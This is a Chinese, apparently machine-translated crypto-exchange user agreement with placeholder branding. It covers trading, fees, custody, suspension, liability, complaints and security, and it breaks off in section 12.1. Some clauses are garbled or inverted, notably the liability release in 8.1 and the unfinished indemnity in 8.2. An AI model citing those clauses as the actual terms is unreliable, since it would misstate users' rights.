    5.2 法定货币交易(不使用您的电子货币钱包)。您可以通过将有效的付款方式链接到您的数字货币钱包来购买支持的数字货币。您授权我们使用您选择的付款方式借记资金以完成您的购买。尽管我们会尝试尽快向您交付数字货币,但在您的数字货币交易状态显示为完成之前,可能会从您选择的付款方式中扣除资金,并且数字货币将被交付到您的数字货币钱包中。您可以出售数字货币以换取 PLATFORM_TITLE 支持的法定货币(如英镑或欧元)。在这种情况下,您授权我们从您的数字货币钱包中扣款并发送指令以记入您选择的付款方式以结算卖出交易。我们将尽快发送这些说明。在我们发送此类指示后的工<br>作日结束前,任何法定货币都应记入您选择的付款方式。


    5.3 交易履行。我们将尽合理努力完成对数字货币的所有购买,但在某些情况下,我们可能无法做到。如果是这种情况,我们将通知您并寻求您的批准,以按照当前汇率(定义如下)重新尝试购买。


    5.4 付款方式的可用性。支付方式的可用性取决于许多因素,例如,您所在的位置、您提供给我们的身份信息以及第三方支付处理商施加的限制。


    5.5 转换费。每次购买或出售数字货币都需要支付费用(“兑换费”)。适用的转换费将在每次交易前在网站上显示给您,并在我们向您发出的每张收据中说明。我们可以随时调整我们的转换费。如果转换费和任何其他相关费用加起来超过您的交易价值,我们将不会处理交易。可以在我们的定价和费用披露页面上找到 PLATFORM_TITLE Kenya 费用的完整列表。


    5.6 汇率。每次购买或出售数字货币也受给定交易的汇率影响。 “汇率”是指网站上以法定货币表示的给定受支持数字货币的价格。汇率以“买入价”或“卖出价”表示,即您可以分别买入或卖出数字货币的价格。您承认在任何给定时间买入价汇率可能与卖出价汇率不同,并且我们可能会在报价汇率上增加保证金或“点差”。当您授权交易时,您同意接受汇率。您可以在网站上的“定价和费用披露”页面上了解有关 PLATFORM_TITLE Kenya 汇率的更多信息。我们不保证任何汇率的可用性。我们不保证您能够以任何特定价格或时间在公开市场上购买和/或出售您的数字货币。


    5.7 授权;逆转;取消。通过单击网站上的“购买”或“出售”按钮,您授权 PLATFORM_TITLE 以报价的买入价或卖出价启动交易,并同意任何合作伙伴d 转换费和兑换费以及任何其他费用。您不能取消、撤销或更改任何标记为已完成或待处理的交易。如果您的付款不成功或您的付款方式资金不足,您授权我们自行决定取消交易或从您的其他付款方式中扣除,包括您的电子货币钱包和/或数字货币上的余额钱包,以完成交易所需的任何金额。您有责任保持足够的余额和/或足够的信用额度,以避免您的支付提供商收取透支、资金不足或类似费用。 PLATFORM_TITLE 保留暂停访问 PLATFORM_TITLE 服务(包括 PLATFORM_TITLE 消费者、PLATFORM_TITLE Pro)的权利,直到此类付款不足得到解决。


    5.8 数字货币交易。我们将根据您收到的指示处理数字货币交易。在向我们提交指示之前,您应核实所有交易信息。我们不保证任何用户、接收者、被请求者或其他第三方的身份,并且我们不承担确保您提供的信息准确和完整的责任或<br>义务。数字货币交易一旦被广播到相关的数字货币网络就不能被撤销。如果您通过输入收款人的电子邮件地址或手机号码发起数字货币交易,而收款人没有现有的 PLATFORM_TITLE 账户,我们将邀请收款人开设 PLATFORM_TITLE 账户。如果收款人未在 30 天内开设 PLATFORM_TITLE 账户,我们会将相关数字货币退还至您的数字货币钱包。我们可能会收取网络费用(“矿工费”)以代表您处理数字货币交易。我们将自行决定计算矿工费用,但我们将始终在您授权数字货币交易时(或之前)通知您矿工费用。 PLATFORM_TITLEKenya 矿工费用的完整列表可以在我们网站上的“定价和费用披露”页面上找到。每笔交易的矿工费将在结帐页面上购买时向您披露。当您或第三方从非 PLATFORM_TITLE 托管的外部钱包向 PLATFORM_TITLE 数字货币钱包发送数字货币时,发起交易的人全权负责正确执行交易,其中可能包括支付矿工费以使交易顺利完成。不支付矿工费可能会导致您的交易处于 PLATFORM_TITLE Kenya 无法控制的待处理状态,我们不对因交易启动错误而导致的延迟或损失负责,也没有义务协助此类交易的补救措施。一旦提交到数字货币网络,数字货币交易将在一段时间内未经确认,等待数字货币网络对交易进行充分确认。处于待处理状态的数字货币交易未完成。与处于待处理状态的数字货币交易相关的数字货币将被相应地指定,并且在网络确认之前不会包含在您的数字货币钱包余额中或可用于进行数字货币交易。我们也可以根据法律、法规或 PLATFORM_TITLE 在任何司法管辖区受其管辖的任何法院或其他机构的要求拒绝处理或取消任何待处理的数字货币交易,例如,如果存在洗钱、恐怖主义融资、欺诈、或任何其他金融犯罪。


    5.9 支持的数字货币。我们的数字货币服务仅适用于PLATFORM_TITLE 支持的数字货币(“支持的数字货币”),并且可能会不时更改。在任何情况下,您都不应尝试使用您的数字货币钱包以我们不支持的任何形式存储、发送、请求或接收数字货币。对于将您的数字货币钱包用于我们不支持的数字货币的任何尝试,我们不承担任何责任或义务。您承认并同意 PLATFORM_TITLE 对发送到与您的 PLATFORM_TITLE 账户关联的钱包的任何不受支持的资产不承担任何责任且不承担任何责任。如果您对我们目前支持的数字货币有任何疑问,请访问 https://help.PLATFORM_TITLE.com。


    5.10 结束对数字货币的支持。 PLATFORM_TITLE 可自行决定终止对任何数字货币的支持。 PLATFORM_TITLE 将通过电子邮件向与您的PLATFORM_TITLE 帐户关联的电子邮件地址至少提前 10 天通知您(除非适用法律或监管机构要求更短的期限),以宣布终止此类支持。如果你不在此期间在平台外出售或发送此类数字货币,PLATFORM_TITLE 保留从您的账户中提取此类数字货币并将支持的数字货币或法定货币的市场价值记入您的 PLATFORM_TITLE 账户的权利(面额将在我们的合理的自由裁量权)。


    5.11 USDC 钱包。如果可用,您还可以选择通过 PLATFORM_TITLE购买 USD Coin,这是一种完全由美元抵押的数字货币,由 Circle Internet Financial(“Circle”)发行并由 PLATFORM_TITLE(“USDC”)提供支持。您是您的“USDC 钱包”余额的所有者(即 PLATFORM_TITLE Kenya 提供给您的用于持有 USDC 并可以进行 USDC 中的数字货币交易的数字货币钱包)。 PLATFORM_TITLE 不是 USDC 的发行人,不为 USDC 持有者持有美元(“USD”)储备,也没有义务以美元回购您的 USDC。您可以通过 Circle 兑换您的 USDC,PLATFORM_TITLE 也可以选择回购您的 USDC 以换取美元。您同意受 Circle USDC 协议(位于 https://support.usdc.circle.com/hc/en-us/articles/360001233386-Circle-USDC-User-Agreement)条款的约束,该协议提供了额外的有关 USDC 的义务、承诺和限制。


    5.12 经常性数字货币交易。如果您设置了数字货币的定期购买(“未来交易”),您授权我们根据您选择的数字货币交易和任何相应的支付账户(例如直接借记或贷记)发起定期电子支付,您关联的银行账户。您的未来交易将根据您选择的时间段(例如,每天、每周、每月)以相同的定期分期付款进行,直到您或 PLATFORM_TITLE 取消未来交易。如果您选择银行账户作为您未来交易的付款方式,并且该交易发生在相关银行所在地区的周末或公共假期,或相关银行的营业时间之后,则贷记或借记将被在下一个工作日执行,但将收取定期交易时的数字货币费用。如果您的银行无法处理对 PLATFORM_TITLE 的任何付款,我们将通知您取消交易,并可能利用本协议中规定的补救措施来追回欠 PLATFORM_TITLE 的任何金额。在您更改未来交易设置或通过 https://help.PLATFORM_TITLE.com 向我们提供书面通知之前,此授权将保持完全有效。您同意在未来交易之前以书面形式通知PLATFORM_TITLE 您关联的银行账户信息的任何更改。PLATFORM_TITLE 可以随时通过向您发出通知来终止未来交易。


    5.13 补充协议除外。除非在网站上明确宣布或通过 PLATFORM_TITLE 的官方公开声明或本协议中规定的其他方式,否则受支持的数字货币不包括补充或与受支持的数字货币交互的所有其他协议和/或功能。此排除包括但不限于:元币、彩色硬币、侧链或其他衍生、增强或分叉协议、代币或硬币或其他功能,例如质押、协议治理和/或任何智能合约功能,可能补充或与支持的数字货币交互(统称为“补充协议”)。请勿使用您的 PLATFORM_TITLE 帐户尝试接收、请求、发送、存储或参与任何其他类型的交易或涉及任何此类补充协议的功能,因为 PLATFORM_TITLE 平台未配置为检测、保护或处理这些交易和功能。对此类物品的任何尝试交易都将导致该物品丢失。您承认并同意,除本协议中的规定外,补充协议被排除在受支持的数字货币之外,并且 PLATFORM_TITLE 对与补充协议相关的任何损失不承担任何责任。


    5.14 数字货币协议的操作。我们不拥有或控制管理我们平台上支持的数字货币操作的底层软件协议。一般来说,底层协议是“开源的”,任何人都可以使用、复制、修改和分发它们。我们对底层协议的运行不承担任何责任,我们无法保证网络运行的功能性或安全性。您承认并接受与您存储在您的数字货币钱包中的任何数字货币相关的底层软件协议可能发生变化的风险。特别是,底层协议可能会受到操作规则(包括“分叉”)突然变化的影响。任何此类重大运营变更都可能对可用性、价值、功能和/或 t 的名称产生重大影响您存储在数字货币钱包中的数字货币。 PLATFORM_TITLE 不控制这些重大运营变化的时间和特征。您有责任让自己了解即将发生的运营变化,并且在确定是否继续使用您的 PLATFORM_TITLE 账户以受影响的数字货币进行交易时,您必须仔细考虑公开可用的信息和 PLATFORM_TITLE可能提供的信息。如果发生任何此类运营变更,PLATFORM_TITLE 保留采取必要措施保护 PLATFORM_TITLE 平台上持有的资产的安全性的权利,包括暂时中止相关数字货币的运营,以及其他必要的步骤; PLATFORM_TITLE 将尽最大努力通知您其对任何重大运营变更的响应;但是,此类更改不在 PLATFORM_TITLE 的控制范围内,并且可能在不通知 PLATFORM_TITLE 的情况下发生。 PLATFORM_TITLE对任何重大运营变更的回应均由其自行决定,包括决定不支<br>持任何新的数字货币、分叉或其他行动。您承认并接受对数字货币协议进行操作更改的风险,并同意 PLATFORM_TITLE 不对此类操作更改负责,也不对因操作规则的此类更改而可能导致的任何价值损失承担责任。您承认并接受 PLATFORM_TITLE 有权自行决定其对任何运营变化的响应,并且我们没有责任帮助您处理不受支持的货币或协议。


    5.15 某些数字货币的可替代性。您承认并同意 PLATFORM_TITLE 可以通过多种不同方式在您的数字货币钱包中保存受支持的数字货币,包括跨多个区块链协议,例如第二层网络、替代第一层网络或侧链。就其在您的数字货币钱包中持有受支持的数字货币而言,PLATFORM_TITLE 可以将此类数字货币从主要区块链协议中转移出来,并将此类数字货币保存在由 PLATFORM_TITLE 控制的共享区块链地址上,以与此类兼容的形式在替代区块链协议上协议。您同意跨多个区块链协议持有和提供的所有形式的相同数字货币可被视为可互换且彼此等价,无论 (a) 是否包含任何形式的此类数字货币或 (b ) 存储任何形式的此类<br>数字货币的区块链协议。


    5.16 数字货币存储和传输延迟。 PLATFORM_TITLE 集团以在线和离线存储相结合的方式安全地存储数字货币私钥。我们的安全协议可能会延迟数字货币交易的启动或记入。


    5.17 第三方付款。对于您可能从任何第三方(包括使用数字货币服务)。我们不负责确保与您进行交易的第三方买方或卖方将完成交易或被授权这样做。如果您在使用数字货币服务从任何第三方购买或出售给任何第三方的任何商品或服务遇到问题,或者如果您与该第三方有争议,您应直接与该第三方解决争议派对。如果您认为第三方的行为具有欺诈性、误导性或不当行为,或者您无法充分解决与第三方的争议,您可以通过以下方式通知 PLATFORM_TITLE 支持:trust@PLATFORM_TITLE.com,以便我们考虑采取何种措施采取,如果有的话。


    5.18 PLATFORM_TITLE 保险库。 PLATFORM_TITLE 不支持使用多重签名保险库。您可以选择使用其他服务,例如 PLATFORM_TITLE Vault,它允许您设置提款时间延迟,并围绕您的数字货币的保管和转移创造其他条件。可能适用与此类产品和服务相关的其他规则。有关 PLATFORM_TITLE Vault 的更多信息,请访问:https://help.PLATFORM_TITLE.com/customer/en/portal/articles/2877996-vaults-faq?b_id=13521。


    5.19 数字货币标题。您的数字货币钱包中持有的所有数字货币都是 PLATFORM_TITLE 集团在托管基础上为您的利益而持有的资产。除其他外,这意味着:


    (A) 数字货币的所有权应始终归您所有,不得转让给 PLATFORM_TITLE 集团的任何公司。作为您数字货币钱包中数字货币的所有者,您应承担该数字货币丢失的所有风险。 PLATFORM_TITLE 集团内的任何公司均不对您的数字货币钱包中持有的数字货币的法定货币价值的波动承担任何责任。


    (B) 您的 Digital Cu 中没有任何数字货币rrency 钱包是PLATFORM_TITLE 的财产,或者应该或可能被借给 PLATFORM_TITLE;PLATFORM_TITLE 不会将用户数字货币钱包中的资产表示或视为属于 PLATFORM_TITLE。 PLATFORM_TITLE 不得授予您的数字货币钱包中持有的数字货币的担保权益。除非表面上有效的法院命令要求,或本协议另有规定,否则 PLATFORM_TITLE 不会出售、转让、借出、抵押或以其他方式转让您的数字货币钱包中的数字货币,除非您指示或有管辖权的法院强制这样做。


    (C) 您控制您的数字货币钱包中持有的数字货币。在任何时候,根据中断、停机时间和其他适用政策,您可以通过将您的数字货币发送到您或第三方控制的不同区块链地址来提取您的数字货币。


    (D) 为了更安全地持有客户数字货币,PLATFORM_TITLE 集团可以使用由 PLATFORM_TITLE 集团成员控制的共享区块链地址来持有代表客户和/或代表 PLATFORM_TITLE 肯尼亚持有的数字货币。客户的数字货币与 PLATFORM_TITLE 集团(包括 PLATFORM_TITLE 肯尼亚)自己的数字货币或资金通过客户和 PLATFORM_TITLE 集团账户的单独分类帐分录分开。尽管有上述规定,PLATFORM_TITLE 集团没有任何义务使用不同的区块链地址来存储您拥有的数字货币和其他客户或 PLATFORM_TITLE 集团拥有的数字货币。如果任何数字货币、密码或私钥丢失、被盗、故障、毁坏或以其他方式无法访问,PLATFORM_TITLE 没有义务发行任何替代数字货币。


    5.20 高级交易。 PLATFORM_TITLE 在 https://www.PLATFORM_TITLE.com/(“高级交易”)上提供各种数字货币和法定货币交易对(每个“订单簿”)的订单簿,符合条件的用户可以访问。查看您的 PLATFORM_TITLE 账户以查看高级交易中可用的订单簿。 PLATFORM_TITLE 不向所有司法管辖区的客户提供高级交易。通过访问 Advanced Trading 或 PLATFORM_TITLE API for Advanced Trading,您接受并同意受交易规则的约束


    (A) 交易费用。通过在 Advanced Trading 下订单,您同意支付所有适用费用并授权 PLATFORM_TITLE 直接从您的账户中自动扣除费用。交易费用在交易规则中有规定。


    (B) 提款费用。 PLATFORM_TITLE 可能会对某些法定货币存款或取款方式(例如银行电汇)收取费用。存款和取款可能会受到限制。


    (C) 交易账户使用。您不得向任何其他实体或非您的雇员或代理人的任何个人出售、出租、提供或以其他方式允许或提供您的交易账户的访问权。您对您的员工或代理人使用 Advanced Trading 承担全部责任,无论这种使用是直接通过 PLATFORM_TITLE 还是通过其他方式,例如通过 API 密钥和/或您可能授权的应用程序促进的方式。您理解并同意您对任何和所有进入高级交易的订单、交易和其他指令负责,包括与您的账户相关的标识符、权限、密码和安全代码。


    (D) 暂停和取消。如果您的帐户被暂停或终止,我们将立即<br>取消与您的帐户相关的所有未结订单,阻止所有提款并禁止下进一步的订单,直到解决或帐户取消为止。


    6. 交易限制和加强尽职调查


    6.1 交易限制。所有 PLATFORM_TITLE 服务的使用均受交易量限制,以英镑、欧元或其他法定货币或数字货币表示,您可以在给定时间段内(例如每天)进行交易或转账。请参阅附录 2(验证程序和限制)了解更多详细信息。要查看您的限制,请登录您的 PLATFORM_TITLE 帐户并访问 https://<br>www.PLATFORM_TITLE.com/verifications。您的交易限额可能会因您的付款方式、您已完成的验证步骤以及其他因素而有所不同。我们保留在我们认为必要时更改适用限制的权利。如果您希望将限额提高到超出公布的金额,您可以在 https://help.PLATFORM_TITLE.com 提交请求


    6.2 加强尽职调查。如果您希望提高限制,我们可能会要求您提交有关您自己或您的业务的其他信息、提供记录并安排与 PLATFORM_TITLE 员工的会议(“加强尽职调查”)。我们保留向您收取与此类增强尽职调查相关的成本和费用的权利,但如果我们打算这样做,我们会提前通知您,以便您决定是否希望继续该请求。根据我们的判断,我们可能会拒绝提高您的限制,或者即使您已完成增强尽职调查,我们也可能会在以后降低您的限制。


    7.S暂停使用、终止和取消。


    7.1 暂停、终止和取消。我们可以:(a) 拒绝完成或搁置、阻止、取消或撤销您授权的交易(即使从您的 PLATFORM_TITLE 账中扣除资金之后),(b) 暂停、限制或终止您访问任何或所有 PLATFORM_TITLE 服务,和/或 (c) 出于任何原因立即停用或取消您的 PLATFORM_TITLE 帐户,包括但不限于:


    (A) 我们有理由相信我们需要这样做以保护我们的声誉;


    (B) 我们合理认为,适用法律、法规或我们在任何司法管辖区受其管辖的任何法院或其他当局要求我们这样做;


    (C) 我们有理由怀疑您的行为违反了本协议;


    (D) 我们有理由怀疑您违反了我们的“行为政策”或“禁止使用、禁止业务和有条件使用的政策”(如附录 1 所述);


    (E) 我们担心交易错误或您的 PLATFORM_TITLE 账户的安全性,或者我们怀疑 PLATFORM_TITLE 服务被以欺诈或未经授权的方式使用;


    (F) 我们怀疑洗钱、恐怖融资、欺诈或任何其他金融犯罪;


    (G) 使用您的 PLATFORM_TITLE 账户会受到任何未决诉讼、调查或政府程序的影响和/或我们认为与您的 PLATFORM_TITLE 账户活动相关的法律或监管违规风险增加;和/或


    (H) 您采取任何可能规避我们控制的行动,例如开设多个 PLATFORM_TITLE 账户或滥用我们可能不时提供的促销活动。如果您的电子货币钱包中的电子货币不足和/或您的数字货币钱包中的数字货币不足以支付交易和(如适用),我们也可能拒绝完成或阻止、取消或撤销您授权的交易在我们收到交易通知时或您的信用卡或借记卡或与您的 PLATFORM_TITLE 帐户或数字货币钱包相关联的任何其他有效付款方式被拒绝时的相关费用。


    7.2 如果我们拒绝完成交易和/或暂停、限制或关闭您的 PLATFORM_TITLE 账户,和/或终止您对 PLATFORM_TITLE 服务的使用,我们将(除非我们这样做是非法的)通知您我们的行动和拒绝、暂停或关闭的原因,以及在适当情况下纠正导致您的 PLATFORM_TITLE 账户拒绝、暂停或关闭的任何事实错误的程序。如<br>果我们拒绝完成交易和/或暂停您的 PLATFORM_TITLE 账户,一旦拒绝和/或暂停的原因不再存在,我们将在合理可行的情况下尽快解除暂停或完成交易。但是,我们没有义务允许您以与暂停、撤销或取消的交易相同的价格或相同的条款恢复交易。我们可能会暂停、限制或终止您对任何或所有 PLATFORM_TITLE 服务的访问和/或停用或取消您的 PLATFORM_TITLE 帐户,而无需提前两个月通知您。您承认我们采取某些行动(包括限制访问、暂停或关闭您的 PLATFORM_TITLE 账户)的决定可能基于对我们的风险管理和安全协议而言必不可少的机密标准。您同意PLATFORM_TITLE 没有义务向您披露其风险管理和安全程序的细节。


    7.3 终止或暂停的后果。在因任何原因终止本协议时,除非适用法律或 PLATFORM_TITLE 在任何司法管辖区受其管辖的任何法院或其他命令禁止,否则您可以访问您的 PLATFORM_TITLE 帐户:


    (A) 此后九十 (90) 天内,出于将数字货币从您的数字货币钱包和/或 PLATFORM_TITLE 平台转移出的目的;和/或


    (B) 自本协议终止之日起六年内的任何时间点,用于将 E-Money 从您的 E-Money 钱包和/或 PLATFORM_TITLE 平台转出。在此期间,您不得将 PLATFORM_TITLE 服务或您的 PLATFORM_TITLE 帐户用于任何其他目的,我们可以酌情决定限制 PLATFORM_TITLE 平台的功能或相应地为您访问网站。如果我们出于任何原因暂停或关闭您的 PLATFORM_TITLE 帐户或终止您对 PLATFORM_TITLE 服务的使用,我们保留要求您重新完成第


    3.3 节(身份验证)中概述的程序的权利,然后才能允许您转移或提取数字货币或电子货币。您可以随时通过提取您的电子货币钱包和数字货币钱包中的所有余额并访问:https://www.PLATFORM_TITLE.com/settings/cancel 来取消您的 PLATFORM_TITLE 账户。取消不会向您收费填写您的 PLATFORM_TITLE 帐户,尽管您将需要支付任何欠我们的未付款项。您授权我们在取消时取消或暂停任何待处理的交易。


    8. 责任


    8.1 PLATFORM_TITLE 的发布。如果您与 PLATFORM_TITLE 服务的一位或多位用户(PLATFORM_TITLE 除外)发生争议,您同意我们、我们的关联公司或服务提供商,以及我们各自的管理人员、董事、代理、合资企业、员工和代表,将对由此类争议引起或以任何方式与之相关的任何种类或性质的任何索赔、要求和损害赔偿(实际的和相应的、直接的或间接的)承担责任。


    8.2 赔偿。您同意就任何费用(包括律师费和任何罚款、费用或由因您违反和/或我们执行本协议(包括但不限于您违反我们的“行为政策”或我们的“政策禁止使用、禁止业务和有条件使用”(如附录 1 所述)或您违反任何法律、规则或法规,或任何第三方的权利。


    8.3 责任限制。 PLATFORM_TITLE 对您因 PLATFORM_TITLE 违反本协议而可能遭受的损失、成本、责任或费用的任何个人索赔或一系列相关索赔的总合计责任应限于最大合计在 PLATFORM_TITLE 发生相关违规行为时,存入您的 E-Money 钱包和您的数字货币钱包中的数字货币和 E-Money 的总价值。如果我们正在考虑与特定交易有关的特定索赔,则该金额应进一步限于争议交易的购买/销售金额(如相关)。


    8.4 损失限制。除了上述第 8.3 节(责任限制)中的责任上限,在任何情况下,我们、我们的关联公司或服务提供商,或我们或他们各自的管理人员、董事、代理、雇员或代表均不对任何根据本协议或其他方式引起或与之相关的以下类型的损失或损害:


    (A) 任何利润损失或预期收入或收益损失,包括任何预期交易利润损失和/或任何实际或假设的直接或间接交易损失,即使我们被告知或知道或应该知道相同的可能性。这意味着,仅作为示例(并且不限制前一句的范围),如果您声称我们未能正确处理数字货币交易,您的损失将限制在不超受支持数字货币的总价值交易中涉及的货币和电子货币,您可能无法就预期交易利润的任何“损失”或因未能买卖数字货币而造成的任何实际交易损失进行赔偿;


    (B) 声誉或商誉的任何损失或损害;任何业务或机会、客户或合同的损失;任何间接费用、管理或其他员工时间的损失或浪费;或任何其他直接或间接的收入损失或实际或预期的节省,即使我们被告知或知道或应该知道相同的可能性;


    (C) 任何硬件、软件或数据的使用损失和/或数据的任何损坏;包括但不限于因数字货币价格数据的任何不准确、缺陷或遗漏而引起或与之相关的任何损失或损害;传输此类数据的任何错误或延迟;和/或任何此类数据的任何中断;和


    (D) 任何非因我们违反本协议而直接造成的损失或损害(无论您是否能够证明此类损失或损害)。


    8.5 适用法律。本第 8 条(责任)中的责任限制受以下任何义务的约束:根据适用的法律和法规,我们有义务在提供 PLATFORM_TITLE 服务时行使合理的谨慎和技能。本协议中的任何内容均不得限制我们因欺诈或欺诈性失实陈述、重大过失、故意不当行为、因我们或我们的分包商的疏忽而导致的死亡或人身伤害的责任。


    8.6 无保证。 PLATFORM_TITLE 服务、PLATFORM_TITLE 平台和网站均按“原样”和“可用”的基础提供,我们不对 PLATFORM_TITLE 服务的可用性作出进一步承诺。具体而言,我们不对所有权、适销性、特定用途的适用性和/或不侵权提供任何默示保证。我们不做任何访问的承诺对于本网站,任何 PLATFORM_TITLE 服务或其中包含的任何材料将是连续的、不间断的、及时的或无错误的。我们不对网站上可用的历史数字货币价格数据的准确性、顺序、及时性或完整性作出任何陈述。 PLATFORM_TITLE 通过本网站提供的任何材料、信息、观点、意见、预测或估计仅供参考,如有更改,恕不另行通知。您必须自行评估网站和/或网站上提供的材料、信息、观点、预测或估计的相关性、及时性、准确性、充分性、商业价值、完整性和可靠性。因此,PLATFORM_TITLE 不提供任何保证,并且 PLATFORM_TITLE 不接受任何直接或间接因您对提供或提供的任何材料、信息、观点、意见、预测或估计采取行动而导致的任何损失本网站和/或本网站。PLATFORM_TITLE 服务、PLATFORM_TITLE 平台和网站并非旨在提供具体的投资、税务或法律建议,或就任何投资或产品对任何特定投资者的适用性提出任何建议。在对投资或产品进行投资之前,您应寻求自己的独立财务、法律、监管、税务或其他建议。如果您选择不向相关顾问寻求建议,您应考虑该投资或产品是否适合您。我们将尽合理努力确保及时处理涉及数字货币钱包、电子货币钱包、银行账户、信用卡和借记卡的数字货币交易、借记和贷记请求,但 PLATFORM_TITLE 对金额不作任何陈述或保证完成处理所需的时间取决于我们无法控制的许多因素。我们将尽合理努力确保及时处理涉及银行账户、信用卡和支票签发的电子借记卡和贷记卡请求,但我们对完成处理所需的时间不作任何陈述或保证,这取决于在我们无法控制的许多因素上。除本协议中规定的明确声明外,您在此承认并同意,对于您对 PLATFORM_TITLE 服务和网站的使用和访问,您没有依赖任何其<br>他书面或口头声明或理解。


    8.7 不承担违约责任。对于任何因我们无法控制的异常和不可预见的情况而直接或间接引起的任何违反本协议的行为,包括延迟、未能履行或服务中断,我们概不负责,尽管对本协议有任何影响,但其后果将是不可避免的相反,如果违反是由于适用强制性法律规则而导致的,我们也不承担任何责任。


    9. 网站可用性和准确性


    9.1 访问和可用性。在大幅波动或交易量大时,对 PLATFORM_TITLE 服务的访问可能会降级或不可用。这可能会导致对您的 PLATFORM_TITLE 帐户或 PLATFORM_TITLE 服务的访问受到限制,包括无法启动或完成交易,还可能导致支持响应时间延迟。


    (A) 尽管我们努力为您提供优质的服务,但我们不保证网站或其他 PLATFORM_TITLE 服务不会中断,我们不保证任何订单将被执行、接受、记录或保持开放,或者您的 PLATFORM_TITLE 帐户将可以访问;和


    (B) 请注意,我们的客户支持响应时间可能会延迟,包括在大幅波动或交易量大的时候,尤其是在非信任和安全问题上。在任何情况下,PLATFORM_TITLE 均不对因服务中断、交易处理延迟或 PLATFORM_TITLE 客户支持未及时响应而造成的任何所谓的损害负责。


    9.2 网站准确性。尽管我们打算在网站上提供准确及时的信息,但网站(包括但不限于内容(定义见下文))可能并不总是完全准确、完整或最新,还可能包括技术不准确或印刷错误。为了继续向您提供尽可能完整和准确的信息,在适用法律允许的范围内,信息可能会不时更改或更新,恕不另行通知,包括但不限于有关我们的政策、产品和服务的信息.因此,您应在依赖所有信息之前对其进行验证,所有基于本网站所含信息的决定均由您自行负责,我们对此类决定不承担任何责任。第三方材料(包括但不限于任何网站)的链接可能会被提供为nience,但不受我们控制。您承认并同意,对于从本网站可访问或链接的任何此类第三方材料中包含的信息、内容或服务的任何方面,我们概不负责。


    10. 客户反馈、查询、投诉和争议解决


    10.1 联系 PLATFORM_TITLE。如果您有任何反馈、问题或投诉,请通过我们的“客户支持”网页与我们联系,网址为 https://help.PLATFORM_TITLE.com。当您与我们联系时,请向我们提供您的姓名、电子邮件地址以及我们可能需要识别您、您的 PLATFORM_TITLE 帐户以及您有反馈、问题或投诉的交易的任何其他信息。


    10.2 投诉。如果您与 PLATFORM_TITLE 有争议,您同意首先联系我们的支持团队以尝试解决此类争议。如果我们无法通过我们的支持团队解决争议,您和我们同意使用第 10.2 节中规定的投诉流程。您同意在开始第 10.4 节中规定的任何行动之前使用此流程。如果您在根据第 10.4 条采取行动之前未遵循本第 10.2 条规定的程序,我们有权要求相关法院/当局驳回您的行动/申请,除非且直到您完成以下步骤:如果您与 PLATFORM_TITLE 支持部门联系未能解决投诉,请使用我们的投诉表列出您的投诉原因、您希望我们如何解决投诉以及您认为相关的任何其他信息.投诉表格可以在 PLATFORM_TITLE 支持页面 help.PLATFORM_TITLE.com 上找到,也可以从 PLATFORM_TITLE 客户支持处索取。在您提交投诉表后,我们将确认收到您的投诉表。客户投诉专员(“专员”)将考虑您的投诉。该官员将根据您提供的信息以PLATFORM_TITLE 提供的任何信息,在不影响您的投诉的情况下考虑您的投诉。在我们收到您的投诉后的 15 个工作日内,该官员将通过向您发送一封电子邮件(“解决通知”)来解决您在投诉中提出的所有问题,其中该官员将:(i) 提出以您要求的方式解决您的投诉; (ii) 作出拒绝您的投诉的决定并说明拒绝的原因;或 (iii) 提出用替代解决方案解决您的投诉。在某些情况下,如果该官员无法在 15 个工作日内回复您的投诉,该官员将(除非适用法律禁止)向您发送暂缓答复,说明延迟回复您的投诉的原因并指定截止日期该官员将回复您的投诉(不迟于我们收到您的投诉后的 35 个工作日)。向您提出的任何解决方案只有在您接受的情况下才对我们具有约束力。提出解决方案并不构成我们承认与投诉主题有关的任何不当行为或责任。


    10.3 如果我们无法通过上文第 10.2 节中规定的投诉程序解<br>决您的投诉,您可以通过下文第 10.4(A) 至 10.4(B) 节中适用<br>于您的争议程序升级您的投诉。


    10.4 您和我们双方同意,在第 10.2 条规定的投诉程序完成<br>之前,我们不会就您的全部或部分投诉启动下文第 10.4(A) 至 10.4(B) 条规定的任何争议程序。已完成,尽管第 10.2 节或本第 10.4 节中的任何内容均不得解释为阻止任何一方在任何有管辖权的法院寻求保全或类似的临时救济:


    (A) 电子货币服务。如果您的投诉与任何电子货币服务有<br>关,您可能有权将该投诉提交给 FOS,如第 4.13 节所述。


    (B) 对于因本协议或提供 PLATFORM_TITLE 服务、PLATFORM_TITLE 平台或网站而产生或与之相关的投诉或争议,如果无法通过上文第10.2 条规定的投诉程序解决,您提交给非- 英格兰和威尔士法院的专属管辖权,但不损害消费者(即不从事与其贸易、业务或专业相关的行为的个人,“消费者”)在管辖法院对PLATFORM_TITLE 提起诉讼的任何强制性权利他们居住的地方。


    11. 数据保护。


    11.1 个人资料。您承认我们可能会处理与您有关的个人数据(如果您是个人),以及您已经提供(或将来提供)给我们的与您的员工和其他员工或其他个人(如果您不是个人),与本协议或 PLATFORM_TITLE 服务有关。我们将根据构成本协议一部分的隐私政策处理这些个人数据吨。因此,您声明并保证:


    (A) 您向我们披露与您以外的个人有关的任何个人数据已经或将按照所有适用的数据保护和数据隐私法进行,并且这些数据在披露时是准确的、最新的和相关的;


    (B) 在向我们提供任何此类个人数据之前,您承认您已阅读并理解我们的隐私政策,其副本可在此处获得:隐私政策,如果是与您以外的个人有关的个人数据,已经(或将在披露时)向个人提供了一份副本,或将个人引导至包含该隐私政策(不时修订)的网页;


    (C) 如果我们不时向您提供隐私政策的替代版本,您将立即阅读该通知并将隐私政策的更新副本提供给或重定向到包含更新隐私政策的网页,任何您已向我们提供其个人数据的个人。


    12. 安全


    12.1 密码安全。为了访问 PLATFORM_TITLE 服务,您需要创建或获得安全详细信息,包括用户名和密码。您有责任确保您访问 PLATFORM_TITLE 服务所使用的电子设备的安全,并对您用于访问 PLATFORM_TITLE 服务的任何和所有安全细节保持足够的安全性和控制。这包括采取一切合理措施避免此类电子设备丢失、被盗或误用,并确保此类电子设备得到加密和密码保护。您的电子设备或您的安全详细信息的任何丢失或损坏都可能<br>导致第三方未经授权访问您的 PLATFORM_TITLE 账户,以及您的 PLATFORM_TITLE 账户和任何相关联的任何电子货币、数字货币和或资金的丢失或被盗账户,包括您关联的银行账户和信用卡。您必须始终确保您的安全详细信息安全。例如,您不应将它们写下来或以其他方式让其他人看到它们。当您登录到您PLATFORM_TITLE 帐户时,您不应允许远程访问或与其他人共享您的计算机和/或计算机屏幕。 PLATFORM_TITLE 在任何情况下都不会要求您提供您的 ID、密码或 2 因素身份验证码或屏幕共享或以其他方式试图访问您的计算机或帐户。除非根据第 3.2 和 4.10 